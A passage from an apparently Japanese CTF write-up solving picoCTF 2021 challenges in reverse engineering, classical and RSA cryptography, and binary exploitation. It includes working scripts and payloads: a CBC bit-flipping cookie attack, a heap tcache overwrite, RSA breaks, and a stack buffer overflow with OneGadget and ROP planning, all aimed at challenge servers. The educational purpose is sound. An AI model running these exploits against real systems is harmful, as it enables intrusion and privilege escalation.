        ldp     x29, x30, [sp], 32
        ret
        .size   func2, .-func2
        .align  2
        .global func3
        .type   func3, %function
func3:
        stp     x29, x30, [sp, -32]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        ldr     w0, [x29, 28]
        bl      func7
        ldp     x29, x30, [sp], 32
        ret
        .size   func3, .-func3
        .align  2
        .global func4
        .type   func4, %function
func4:
        stp     x29, x30, [sp, -48]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        mov     w0, 17
        str     w0, [x29, 44]
        ldr     w0, [x29, 44]
        bl      func1
        str     w0, [x29, 44]
        ldr     w0, [x29, 28]
        ldp     x29, x30, [sp], 48
        ret
        .size   func4, .-func4
        .align  2
        .global func5
        .type   func5, %function
func5:
        stp     x29, x30, [sp, -32]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        ldr     w0, [x29, 28]
        bl      func8
        str     w0, [x29, 28]
        ldr     w0, [x29, 28]
        ldp     x29, x30, [sp], 32
        ret
        .size   func5, .-func5
        .align  2
        .global func6
        .type   func6, %function
func6:
        sub     sp, sp, #32
        str     w0, [sp, 12]
        mov     w0, 314
        str     w0, [sp, 24]
        mov     w0, 1932
        str     w0, [sp, 28]
        str     wzr, [sp, 20]
        str     wzr, [sp, 20]
        b       .L14
.L15:
        ldr     w1, [sp, 28]
        mov     w0, 800
        mul     w0, w1, w0
        ldr     w1, [sp, 24]
        udiv    w2, w0, w1
        ldr     w1, [sp, 24]
        mul     w1, w2, w1
        sub     w0, w0, w1
        str     w0, [sp, 12]
        ldr     w0, [sp, 20]
        add     w0, w0, 1
        str     w0, [sp, 20]
.L14:
        ldr     w0, [sp, 20]
        cmp     w0, 899
        bls     .L15
        ldr     w0, [sp, 12]
        add     sp, sp, 32
        ret
        .size   func6, .-func6
        .align  2
        .global func7
        .type   func7, %function
func7:
        sub     sp, sp, #16
        str     w0, [sp, 12]
        ldr     w0, [sp, 12]
        cmp     w0, 100
        bls     .L18
        ldr     w0, [sp, 12]
        b       .L19
.L18:
        mov     w0, 7
.L19:
        add     sp, sp, 16
        ret
        .size   func7, .-func7
        .align  2
        .global func8
        .type   func8, %function
func8:
        sub     sp, sp, #16
        str     w0, [sp, 12]
        ldr     w0, [sp, 12]
        add     w0, w0, 2
        add     sp, sp, 16
        ret
        .size   func8, .-func8
        .section        .rodata
        .align  3
.LC0:
        .string "Result: %ld\n"
        .text
        .align  2
        .global main
        .type   main, %function
main:
        stp     x29, x30, [sp, -48]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        str     x1, [x29, 16]
        ldr     x0, [x29, 16]
        add     x0, x0, 8
        ldr     x0, [x0]
        bl      atoi
        str     w0, [x29, 44]
        ldr     w0, [x29, 44]
        bl      func1
        mov     w1, w0
        adrp    x0, .LC0
        add     x0, x0, :lo12:.LC0
        bl      printf
        nop
        ldp     x29, x30, [sp], 48
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
        .section        .note.GNU-stack,"",@progbits

同じく64bitのARMになっている。思考停止でaarch64-linux-gnuでクロスコンパイルする。

aarch64-linux-gnu-as -o chall_4.o chall_4.S

思考停止でGhidraに読ませた。

chall_4.o decompile
ulonglong main(undefined8 param_1,longlong param_2)

{
  uint uVar1;
  ulonglong uVar2;
  
  uVar1 = atoi(*(char **)(param_2 + 8));
  uVar2 = func1(uVar1);
  uVar1 = printf("Result: %ld\n",uVar2 & 0xffffffff);
  return (ulonglong)uVar1;
}

void func1(uint param_1)

{
  if (param_1 < 0x65) {
    func3(param_1);
  }
  else {
    func2(param_1 + 100);
  }
  return;
}

void func2(uint param_1)

{
  if (param_1 < 500) {
    func4(param_1 - 0x56);
  }
  else {
    func5(param_1 + 0xd);
  }
  return;
}


void func3(uint param_1)

{
  func7(param_1);
  return;
}

ulonglong func4(uint param_1)

{
  func1(0x11);
  return (ulonglong)param_1;
}

ulonglong func5(int param_1)

{
  ulonglong uVar1;
  
  uVar1 = func8(param_1);
  return uVar1 & 0xffffffff;
}

ulonglong func6(uint param_1)

{
  uint local_14;
  uint local_c;
  
  local_c = 0;
  local_14 = param_1;
  while (local_c < 900) {
    local_14 = 0x5c;
    local_c = local_c + 1;
  }
  return (ulonglong)local_14;
}

ulonglong func7(uint param_1)

{
  ulonglong uVar1;
  
  if (param_1 < 0x65) {
    uVar1 = 7;
  }
  else {
    uVar1 = (ulonglong)param_1;
  }
  return uVar1;
}

ulonglong func8(int param_1)

{
  return (ulonglong)(param_1 + 2);
}

func1~func8まで関数が8個もあり、流石に長いが、やることは前回と変わらない。JavaScriptでfunc1関数の内容を簡潔に書き起こした。

solve.html
<script>

function main()
{
  var uVar1;
  var uVar2;
  
  uVar1 = 2907278761;
  uVar2 = func1(uVar1);
  return uVar2 & 0xffffffff;
}

function func1(param_1)
{
  if (param_1 < 0x65) {
    return func3(param_1);
  }
  else {
    return func2(param_1 + 100);
  }
}

function func2(param_1)
{
  if (param_1 < 500) {
    return func4(param_1 - 0x56);
  }
  else {
    return func5(param_1 + 0xd);
  }
}


function func3(param_1)
{
  return func7(param_1);
}

function func4(param_1)
{
  func1(0x11);
  return param_1;
}
function func5(param_1)

{
  var uVar1 = func8(param_1);
  return uVar1 & 0xffffffff;
}

function func6(param_1)
{
  var  local_14;
  var  local_c;
  
  local_c = 0;
  local_14 = param_1;
  while (local_c < 900) {
    local_14 = 0x5c;
    local_c = local_c + 1;
  }
  return local_14;
}

function func7(param_1)
{
  var  uVar1;
  
  if (param_1 < 0x65) {
    uVar1 = 7;
  }
  else {
    uVar1 = param_1;
  }
  return uVar1;
}

function func8(param_1)
{
  return (param_1 + 2);
}


document.write(main());
</script>

実行させると出力は-1387688420。回答は8桁の16進数となっているのでad498e1c。flagはpicoCTF{ad498e1c}

Ghidra無双

Pixelated (200point)

scrambled1.pngとscrambled2.pngが配布される。二つの画像からflagを作れということなので、合成してみる。

画像の合成

透過率50%で合成するとちょうど灰色になった。これを青い空を見上げればいつもそこに白い猫 for うさみみハリケーンに突っ込んでステガノグラフィー解析をする。

solve

picoCTF{0542dc1d}

New Vignere (300point)

New Caesarの続編。暗号化を行うスクリプトnew_vignere.pyと暗号化済みテキストが配布される。

epdfglkfnbjbhbpicohidjgkhfnejeecmjfnejddgmhpndmchbmifnepdhdmhbah

new_vignere.pyの中身は以下の通り。

new_vignere.py
import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_encode(plain):
        enc = ""
        for c in plain:
                binary = "{0:08b}".format(ord(c))
                enc += ALPHABET[int(binary[:4], 2)]
                enc += ALPHABET[int(binary[4:], 2)]
        return enc

def shift(c, k):
        t1 = ord(c) - LOWERCASE_OFFSET
        t2 = ord(k) - LOWERCASE_OFFSET
        return ALPHABET[(t1 + t2) % len(ALPHABET)]

flag = "redacted"
assert all([c in "abcdef0123456789" for c in flag])

key = "redacted"
assert all([k in ALPHABET for k in key]) and len(key) < 15

b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
        enc += shift(c, key[i % len(key)])
print(enc)

コードはNew Caesarと全く同じで、keyに使用する文字が複数になっているのが違いである。

flagの文字列はabcdef0123456789の16種類の文字からできており、keyの文字列はabcdefghijklmnopの16種類かつ15文字未満という制約があるので、この制約を使ってkeyを特定する。

flag,chiper,keyの対応関係

例えばkeyが5文字のとき、flagとchiperとkeyにはこのような関係がある。flagの各文字を復号するために使用されるchiperとkeyの組み合わせが存在し、key2文字がflag1文字を作るため、16×16の256種類のkeyのペアを試して、復号結果がabcdef0123456789の何れかに当てはまるようなkeyの候補を作っていく。chiperは64文字のため、keyが最大14文字であれば最低でも同じkeyが4回以上使用され、全てで共通する候補だけを選べば、keyを特定できるかもしれない。

というわけで多少汚いsolverを書いた。アルゴリズムが複雑だったのでPythonではなく比較的得意なJavaScriptで書いている。

solve.html
<pre><script>

var LOWERCASE_OFFSET = ("a").charCodeAt(0);

var ALPHABET = "abcdefghijklmnop";
var flagstrs = "abcdef0123456789";
var encflag = "epdfglkfnbjbhbpicohidjgkhfnejeecmjfnejddgmhpndmchbmifnepdhdmhbah";

var i,j,k;
var pears = []
var list = ["1","2","3","4","5","6","7","8","9","a","b","c","d","e"];

for(i=2; i<15; i++) {
        
        pears = [];
        flags = [];
        outflags = [];
        
        for(j=0; j<i; j++)outflags[j] = [];
        
        document.writeln(i);
        
        j = 0;
        c = 0;
        while(true) {
                pears[list[j]+list[(j+1)%i]] = [];
                c++;
                //document.writeln(list[j]+list[(j+1)%i]);
                if(j+1==i-1)break;
                j = (j+2)%i;
        }
        
        xlist = [];
        for(j=0; j<encflag.length; j++)xlist[j] = list[j%i];
        
        for(j=0; j<encflag.length; j+=2) {
                pears[xlist[j]+xlist[j+1]].push(encflag.substr(j,2));
        }
        
        for(j in pears)document.writeln(j+":"+pears[j]);
        
        
        j = 0;
        for(j in pears) {
                pos = [parseInt(j.charAt(0),16)-1,parseInt(j.charAt(1),16)-1];
                for(n=0; n<i; n++)flags[n] = [];
                
                for(k1=0; k1<16; k1++) {
                        for(k2=0; k2<16; k2++) {
                                flag = true;
                                for(kX=0; kX<pears[j].length; kX++) {
                                        nnn = ((pears[j][kX].charCodeAt(0) - k1-LOWERCASE_OFFSET+256)%16)*16 + (pears[j][kX].charCodeAt(1) - k2-LOWERCASE_OFFSET+256)%16;
                                        stt = String.fromCharCode(nnn);
                                        if(flagstrs.indexOf(stt)==-1) {
                                                flag = false;
                                                break;
                                        }
                                }
                                if(flag) {
                                        if(flags[pos[0]].indexOf(ALPHABET.charAt(k1))==-1)flags[pos[0]].push(ALPHABET.charAt(k1));
                                        if(flags[pos[1]].indexOf(ALPHABET.charAt(k2))==-1)flags[pos[1]].push(ALPHABET.charAt(k2));
                                }
                        }
                }
                outflags[pos[0]].push(flags[pos[0]].join(""));
                outflags[pos[1]].push(flags[pos[1]].join(""));
        }
        
        for(j=0; j<i; j++)
                if(outflags[j].length)document.writeln("key["+(j+1)+"]:"+outflags[j]);
                else document.writeln("Unknown");
        document.writeln("\n");
}
</script></pre>

使用するkeyのペアごとにchiperのペアのリストを作り、256通りのkeyペアを試してabcdef0123456789になったkeyを探索する。

9
12:ep,hi,ej,ep
23:jb,je,mc
34:df,dj,dd,dh
45:hb,ec,hb
56:gl,gk,gm,dm
67:pi,mj,mi
78:kf,hf,hp,hb
89:co,fn,fn
91:nb,ne,nd,ah
key[1]:b,b
key[2]:gh,g
key[3]:abmnop,a
key[4]:abcd,b
key[5]:almnop,a
key[6]:ghij,j
key[7]:cdefgh,e
key[8]:p,p
key[9]:hijklm,k

実行するとkey候補が出てくるのは9文字のパターンのみとなった。共通するkeyの文字を絞るコードが面倒なので配列のまま出力しているが、2つの配列要素のうち共通するアルファベットを抜き出せばkeyになる。


import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_decode(dec):
        plain = ""
        for c in range(0,len(dec),2):
                binary = (ord(dec[c])-LOWERCASE_OFFSET)*16 + (ord(dec[c+1])-LOWERCASE_OFFSET)
                plain += chr(binary)
        return plain

def unshift(c, k):
        t1 = ord(c) - LOWERCASE_OFFSET
        t2 = ord(k) - LOWERCASE_OFFSET
        return ALPHABET[(t1 - t2) % len(ALPHABET)]

encflag = "epdfglkfnbjbhbpicohidjgkhfnejeecmjfnejddgmhpndmchbmifnepdhdmhbah"

key = "bgabajepk"
dec = ""
for i, c in enumerate(encflag):
        dec += unshift(c, key[i % len(key)])
print(b16_decode(dec))

得られたkey:bgabajepkをNew Caesarのときに作ったデコードプログラムに入れてflagを入手。

picoCTF{94bf01ad4b8a63425c32c02ba4c9632f}

Cache Me Outside (70point picoGym)

実行ファイル「heapedit」と「Makefile」「libc.so.6」が配布され、サーバー上でプログラムが動作している。問題ファイルはheapeditで、とりあえずGhidraに突っ込んでmain関数の逆コンパイルを見てみよう。

heapedit decompile:main
undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined local_a9;
  int local_a8;
  int local_a4;
  undefined8 *local_a0;
  undefined8 *local_98;
  FILE *local_90;
  undefined8 *local_88;
  void *local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined local_60;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  local_90 = fopen("flag.txt","r");
  fgets(local_58,0x40,local_90);
  local_78 = 0x2073692073696874;
  local_70 = 0x6d6f646e61722061;
  local_68 = 0x2e676e6972747320;
  local_60 = 0;
  local_a0 = (undefined8 *)0x0;
  local_a4 = 0;
  while (local_a4 < 7) {
    local_98 = (undefined8 *)malloc(0x80);
    if (local_a0 == (undefined8 *)0x0) {
      local_a0 = local_98;
    }
    *local_98 = 0x73746172676e6f43;
    local_98[1] = 0x662072756f592021;
    local_98[2] = 0x203a73692067616c;
    *(undefined *)(local_98 + 3) = 0;
    strcat((char *)local_98,local_58);
    local_a4 = local_a4 + 1;
  }
  local_88 = (undefined8 *)malloc(0x80);
  *local_88 = 0x5420217972726f53;
  local_88[1] = 0x276e6f7720736968;
  local_88[2] = 0x7920706c65682074;
  *(undefined4 *)(local_88 + 3) = 0x203a756f;
  *(undefined *)((long)local_88 + 0x1c) = 0;
  strcat((char *)local_88,(char *)&local_78);
  free(local_98);
  free(local_88);
  local_a8 = 0;
  local_a9 = 0;
  puts("You may edit one byte in the program.");
  printf("Address: ");
  __isoc99_scanf(&DAT_00400b48,&local_a8);
  printf("Value: ");
  __isoc99_scanf(&DAT_00400b53,&local_a9);
  *(undefined *)((long)local_a8 + (long)local_a0) = local_a9;
  local_80 = malloc(0x80);
  puts((char *)((long)local_80 + 0x10));
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

ヒントにGLIBC's tcacheを読めと書いてあり、mallocを何度もループさせていることからtcacheが解決の鍵のようだ。

AddressとValueを入力する機会があり、大雑把にその処理内容を書くと次のようになる。処理の流れはgdb-pedaでステップ実行して調べたが、すべて割愛する。

  1. [Address]を入力する、%dで数値型として入力される
  2. [Value]を入力する、%cで文字列型として入力される
  3. Address+0x6034a0のアドレスを[Value]で上書きする、ただし[Value]の先頭1バイトのみ
  4. malloc(0x80)が確保されてアドレスを返す
  5. mallocが返したアドレスに0x10を足したアドレスを表示する

入力前にmallocを8回ほど呼んでheap領域にflag.txtの内容や他のテキストを書き込んでfreeで2つだけ解放しており、最後に表示されるテキストは以前mallocで確保した領域に書き込まれたデータの残骸になっている。が、適当な値を入れて実行してもt help you: this is a random string.としか表示されない。

heap領域

gdb-pedaで表示される付近のheap領域を出してみた。malloc(0x80)は0x603890を返してきて、0x10を足した0x6038a0から始まる文字列が表示されるようになっている。0x65682074の部分が該当して文字に直すとt heになる。その一つ上のmallocの残骸0x603800には、手元の環境で作ったダミーのflag.txtファイルの中身picoCTF{test}が入っているから、ここを表示させたい。

大雑把に書いた処理内容によれば、表示されるアドレスはmallocが返してきたアドレス0x603890を基準にするため、mallocによって確保されるheap領域を一つ上の0x603880に変更できればいい。メモリーを書き換える方法はAddress+0x6034a0のアドレスに対して1バイトだけ書き込む処理しかないので、mallocが確保する領域が記録されるtcacheのアドレスを探してそこに書き込まれている0x603890の下位1バイトを00に変更して0x603800に変更すればよい。

tcache領域

0x603890を指定しているtcache領域が0x602088だ。天下り的だがこれを調べるのにかなり時間がかかり、同封されているlibcを解析する方法が早かったかもしれない。

Address+0x6034a0 = 0x602088になるようなAddressを入力すればよいので、計算すると-5144になる。この位置の1バイトを0x00にするためにValueには0x00を入力する。これを実行するコードは簡単に書ける。

(python -c 'import os; os.write(1,"-5144"); os.write(1,b"\x00")') | nc mercury.picoctf.net 8054
solve

サーバー上のプログラムに対して実行すると無事flagが表示される。picoCTF{5c9838eff837a883a30c38001280f07d}

Mini RSA (70point picoGym)

ciphertextが配布されるのでRSA暗号の平文を求める問題。コンペ中はRSA系統には手を付けなかったが、得意になりたい分野だ。

ciphertext
N:
1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095
1385898980874283377584450132814889668660733557107718646717269919187065580712312669764271846738002252
5453169592854127254638514649573642026181569381054458981110496782935446149117820012609966190965416354
2661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544
3211943570189162151130097426544085970837245081692161820084496939172274978131654443722015175417889899
2546171106782568194794747100139084377474644269973938692328580102268545122126101079883764692809227755
6198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025
8906797575140604561031041992559171646781619727358589394647909604483459889414814990502486731286565080
5528503709002643968384726653628316014207164301543481347346346973311218232867870670211605403661827750
6997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287

e: 3

ciphertext (c):
1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370
8992578501219708124057007937105466740621542375448401776167468056686663174811408726056537684848672921
3813994907610290739983199882756764523098634545591569286309436479752649730208273495590375505063815520
2890599808154521995312832362835648711819155169679435239286935784452613518014043549023137530689967601
1742468646064952004533135560911586371229562788119358586494982447225570140036019094650574217288348834
1199299940815782899672208736041457725263018686638778548105764903641498609918183129264478391687371012
3009473008639825720434282893177856511819939659625989092206115515005188455003918918879483234969164887
7055059006953798461599013220532531560965861398477682975211664489316319162202112544179716833661677195
9621942277676889546090801577336974306771889002459250539322196709830865350794436748296933113372695832
1767736855857529350486000867434567743580745186277999637935034821461543527421831665171525793988229518569050

公開鍵は長いので素因数分解は無理そう。e=3と小さいのでこれを利用したい。eが小さい場合は小さな平文mに対してLow Public-Exponent Attackが使えるが、今回はmが大きくなるようにpaddingされており、この方法は使えない。またどんなpaddingがされているかもわからないのでCoppersmith's Attackも違うだろう。

RSAの暗号化はm^e ≡ c (mod n)を計算するが、これは当然ながら整数xとしてm^e = n*x + cと書ける。問題文にm^eがnよりちょっとだけ大きくなるようにしたと書いてあることから、xも総当りできる程度に小さいはずだ。x総当りで(n*x+c)のe乗根を計算してmを求める以下のsolverを書いた。

solve.py
import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes

n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287

e = 3

c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808154521995312832362835648711819155169679435239286935784452613518014043549023137530689967601174246864606495200453313556091158637122956278811935858649498244722557014003601909465057421728834883411992999408157828996722087360414577252630186866387785481057649036414986099181831292644783916873710123009473008639825720434282893177856511819939659625989092206115515005188455003918918879483234969164887705505900695379846159901322053253156096586139847768297521166448931631916220211254417971683366167719596219422776768895460908015773369743067718890024592505393221967098308653507944367482969331133726958321767736855857529350486000867434567743580745186277999637935034821461543527421831665171525793988229518569050

for i in range(0,10000,1) :
        m = gmpy2.iroot(n*i+c,e)[0]
        p = long_to_bytes(m)
        if b"pico" in p:
                print("x:%s" % i)
                print("m:%s" % hex(m))
                print("flag:%s" % p)
                break

xを増やしながらmを計算してpicoが含まれるものを探す。

solve

picoCTF{e_sh0u1d_b3_lArg3r_a166c1e3}

Dachshund Attacks (80point picoGym)

ひねりも何もなくWiener's Attackである。他に言及すべきところがないのでヒントに掲載されていた犬を貼り付けておく。

犬

ncでサーバーに接続すると毎回異なる秘密鍵を生成してe,n,cを送ってくる。

e,n,c

やっつけで申し訳ないが、plain RSAに対する攻撃手法を実装してみる - ももいろテクノロジー( http://inaz2.hatenablog.com/entry/2016/01/15/011138 )からWiener's Attackのコードをそのまま持ってきてPython3仕様にしたものが以下の通り。

solve.py
import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes

def continued_fraction(n, d):

    cf = []
    while d:
        q = n // d
        cf.append(q)
        n, d = d, n-d*q
    return cf

def convergents_of_contfrac(cf):

    n0, n1 = cf[0], cf[0]*cf[1]+1
    d0, d1 = 1, cf[1]
    yield (n0, d0)
    yield (n1, d1)

    for i in range(2, len(cf)):
        n2, d2 = cf[i]*n1+n0, cf[i]*d1+d0
        yield (n2, d2)
        n0, n1 = n1, n2
        d0, d1 = d1, d2

def wieners_attack(e, n):
    cf = continued_fraction(e, n)
    convergents = convergents_of_contfrac(cf)

    for k, d in convergents:
        if k == 0:
            continue
        phi, rem = divmod(e*d-1, k)
        if rem != 0:
            continue
        s = n - phi + 1
        # check if x^2 - s*x + n = 0 has integer roots
        D = s*s - 4*n
        if D > 0 and gmpy2.is_square(D):
            return d


n = 94095243009615997733696018327943099435678836522668181153675814704506834941053568325174007990457643311546651782871682543219553111399271873698726209645758963914425811193296357727536319332984639554900327064226351711070129218652402840167684481990501716511010948527424429235660648730951343889712276710456950066413
e = 20324424014150341954174017835916614717107231756334707274041202208676117658070031012809195157615652671984676632125747474571259882130041730536594819281706511238078628964988150662903818425772325121087291992847616195202559778200259438876081412726068090901571555902465367150144480113135958200232800478528474513973
c = 54613235748610839598274606520131472044990993204665346858840614795143266256369706239031369238879396410736880404437500496204854789926778372411168988598023531955484680565562130058990054557701043252161648094595931972209946682694616521794037600640614919383260832536958040441873987575517286112338341358941582384636

d = wieners_attack(e, n)
print("found d: %d" % d)
m = pow(c, d, n)
print(long_to_bytes(m))
solve

More Cookies (90point picoGym)

Cookieシリーズで何故か3つ目のMost Cookiesよりも難しく、コンペ中には無視した問題。ページにアクセスしてCookieを見ると暗号化されている。

auth_name = a1hiZXduRkZJTC81MkRQVGdwS085aURoRnNSTXZKbkEwenAydjRmTkwvU1E1ak5kY2lBbXQwNFRsZzllZjdOOERwOHJnUWdMbXIrbGt6cWJjWXNRbVpERFNWV1NYUUUrMitLTkwza1pyY0JmcEZFWS91em51ZHJib2pLN21Gb0o=

値は一例。base64エンコードが2回行われており、2回デコードするとバイナリデータが出てくる。adminでアクセスしないとflagが見れないが、どうやら暗号化されたデータの中でadmin判定をしているようだ。

ヒントに準同型暗号のwikipediaのページヘのリンクがあり、さらに困惑させてくる。しかしヒントは問題文に入っていた。

I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!

不自然に大文字になっているのがCookiesとBeとClientで、合わせてCBCである。つまりCBC bit flipping attackを使えということである。

CBCモードの暗号化図

CBCモードで暗号化された暗号文の先頭にはIVが入っており、このIVは先頭の暗号文を復号化したあとにXORをかける時のみ使用されるので、ここを書き換えると暗号文の先頭を変更することができる。とはいえ、平文の形式が不明で、暗号文をどれだけ書き換えればadminを作れるのかは全くわからず、例えばadmin:0やadmin:1といった形式で入っていると予想できるエスパー力が必要だ。エスパー力がないためコンペ中は無視していた。

CBC bit flipping attackで平文を変更するには、ある程度複数のビットをまとめて変更して試行する必要があるが、ここでは数字が1つズレると仮定する。0のASCIIコードの2進数は0110000で、1のASCIIコードの2進数は0110001なので、1ビットフリップさせればいけるのではないかという希望を持って以下のコードを書いた。

from Crypto.Util.number import bytes_to_long, long_to_bytes
import base64
import requests

flag = False
url = 'http://mercury.picoctf.net:15614/'
while True:

        ses = requests.session()
        res = ses.get(url)
        cookie = ses.cookies.get('auth_name')
        print("b64data:%s" % cookie)

        cookie_bit = format(bytes_to_long(base64.b64decode(base64.b64decode(cookie))),'b')

        for i in range(128):
                if cookie_bit[i]=="0":
                        flip = "1"
                else :
                        flip = "0"

                new_cookie = (base64.b64encode(base64.b64encode(long_to_bytes(int(cookie_bit[:i]+flip+cookie_bit[i+1:],2))))).decode()
                print("Try:%s..." % new_cookie[0:50])
                ck = {'auth_name': new_cookie}
                res = requests.get(url, cookies=ck)
                if 'picoCTF' in res.text :
                        print("GOAL:%s" % new_cookie)
                        print(res.text)
                        flag = True
                        break
        if flag==True:
                break
solve

picoCTF{cO0ki3s_yum_a9a19fa6}

どうやら本当に1bitズレだった模様。今回はうまくいったが、複数bitを書き換える場合はもう少し手の込んだコードが必要だろう。

No Padding, No Problem (90point picoGym)

サーバー上でRSAを復号化するプログラムが動作している。

動作画面

ncで接続するとセッション毎に生成されたnを使ってflagを暗号化したchipertextを表示する。eはスタンダードな65537となっている。その後はGive me ciphertext to decrypt:で繰り返し任意の暗号文を復号化することができる(当たり前だがchiprtext自体の復号化はWill not decrypt the ciphertext. Try Againと拒否される)。

任意の平文を手元で暗号化して復号化を試せることから、適応的選択暗号文攻撃が通用する。RSAに対する適応的選択暗号文攻撃とパディング方式 - ももいろテクノロジー( http://inaz2.hatenablog.com/entry/2016/01/26/222303 )を参考にすると、平文mと暗号文cについて、整数rを使ってdecrypt(c*r^e) = r*mとなるので、サーバーと通信してn,e,cを取得してr=2で復号化を行うsolverを作成した。

solve.py
from Crypto.Util.number import bytes_to_long, long_to_bytes
from pwn import *


io = remote('mercury.picoctf.net',30048)
io.recvline()
io.recvline()
io.recvline()
io.recvline()
n = int(io.recvline()[3:])
e = int(io.recvline()[3:])
c = int(io.recvline()[12:])

r = 2
io.recvuntil("Give me ciphertext to decrypt:")
cr = c*pow(r,e,n) % n
io.sendline(str(cr).encode())
mi = divmod(int(io.recvline()[13:]),r)[0]
print("r=%s" % r)
print(long_to_bytes(mi))

io.close()

実行すると平文が得られる。

solve

Here's a LIBC (90point picoGym)

実行ファイル「vuln」と「Makefile」「libc.so.6」が配布され、サーバー上でプログラムが動作している。

vulnの動作

動作させると、入力した文字列を1文字間隔で大文字と小文字を変換した文字列を出力するループを繰り返す。まずはいつもどおりvulnをGhidraに突っ込んで逆コンパイルされた関数を読むと、do_stuff関数で入出力を行っている。

vuln decompile
void do_stuff(void)

{
  ulong uVar1;
  undefined local_89;
  byte local_88 [112];
  undefined8 local_18;
  ulong local_10;
  
  local_18 = 0;
  __isoc99_scanf("%[^\n]",local_88);
  __isoc99_scanf(&DAT_0040093a,&local_89);
  local_10 = 0;
  while (local_10 < 100) {
    uVar1 = convert_case(local_88[local_10],local_10);
    local_88[local_10] = (byte)uVar1;
    local_10 = local_10 + 1;
  }
  puts((char *)local_88);
  return;
}

112バイトの変数にscanfの入力を突っ込んでいるので、ここでBOFを起こせることがわかる。flagを読み込んでいる様子はないため、シェルを取る必要がある。

ジャンプ先アドレスの上書き

gdb-pedaを立ち上げ、do_stuff関数の適当な位置(今回は0x400769)にbreakpointを設定して、112文字より大きな文字列を入力してBOFの結果を見る。do_stuff関数のretまで実行した時点でスタックの先頭に入力した文字列が来るようにすれば、ret(pop jmp)の実行によって文字列のアドレスにジャンプさせることができる。画像は136文字のAに続いて擬似的なアドレスとして\x01\x02\x03\x04\x05\x06\x07\x08を入れた時の様子。ちょうどretで0x0807060504030201が読まれるようになっているので、136文字+ジャンプさせたいアドレスで制御できる。

参考として、gdbでデバッグする際に、以下のような形式でrunと同時に入力文字列を設定できる。バイト列がそのまま入るためアドレスの検証に向く。

run < <(python -c 'import os; os.write(1,b"A"*136+b"\x01\x02\x03\x04\x05\x06\x07\x08");')

今回はシェルを起動する方法としてOneGadget( https://github.com/david942j/one_gadget )を使用したい。これはシェルコードやROPを使わなくてもジャンプするだけでシェルを起動できるアドレスを見つけてくれるものだ。この問題はタイトルの通りlibc.so.6が配布されているので、OneGadgetでlibcの中から使えそうなアドレスを検索してみる。

libc.so.6のOneGadget

実行すると3つのOneGadgetが見つかる。これはlibc.so.6の相対パスなので、gdb-peda上で次のコマンドを使用してメモリマップを表示させる。

i proc map
メモリマップの表示

したがって0x7ffff79e2000 + OneGadgetのアドレスにジャンプさせればシェルを起動できるはずだ。早速gdb上で実行させてみる。使用したOneGadgetは0x4f3c2になる。gdb上での入力コードは以下の通りで、最後に0x00を64回繰り返しているのは、このOneGadgetが動作する条件として$RSP+0x40が0になっている必要があるためだ。0が参照されるように、後続のスタックを適当に0x00で埋めている。

run < <(python -c 'import os; os.write(1,b"A"*136+b"\xc2\x13\xa3\xf7\xff\x7f\x00\x00"+b"\x00"*64);')
gdb上でのシェル起動

結果は成功し、gdb上で/bin/dashが起動している(Ubuntuなのでbashではなくdashになっている)。

vulnでのシェル起動

しかし実際にvulnに対してこのコードを入力してもクラッシュしてしまう。原因はデバッガー上でメモリマップを表示させて取得したlibc.so.6のベースアドレスが実環境では異なるためだ。これを解決するためにはexploitを2段階に増やして、1段階目でlibcのアドレスを取得し、2段階目でOneGadgetを投入する必要がある。pwnが上手い方のGOT overwriteの手法を途中まで参考にして、libcのベースアドレスを出力させてみる。

作戦は以下のようにスタックに積んだコードを実行させる。


        b"A" * 136 ←BOF用
      + pop rdi;ret ←スタック先頭を$RDIに入れる
      + GOT["puts"] ←GOTのputs関数のアドレス(これが$RDIに入って引数になる)
      + PLT["puts"] ←putsを実行してGOTのputs関数のアドレスを出力する
      + main    ←main関数のアドレスを指定してmain関数に戻す
      

コードはアドレスが既知のvulnから見つける必要がある。まずpop rdi;retを探すが、vulnのアセンブラを出力しても直接pop rdi;retは見つからない。しかし以下のコードが見つかる。

  400912:       41 5f                   pop    r15
  400914:       c3                      ret    

41 5f c3pop r15;retだが、0x400913のアドレスから読めば5f c3pop rdi;retに相当して使うことができる。GOT["puts"]とPLT["puts"]のアドレスはすぐに見つかるが、多段階のexploitになるのでpwntoolsにやってもらう。これらを組み立てて入力するPythonコードは以下の通り。

solve.py (1)
from pwn import *

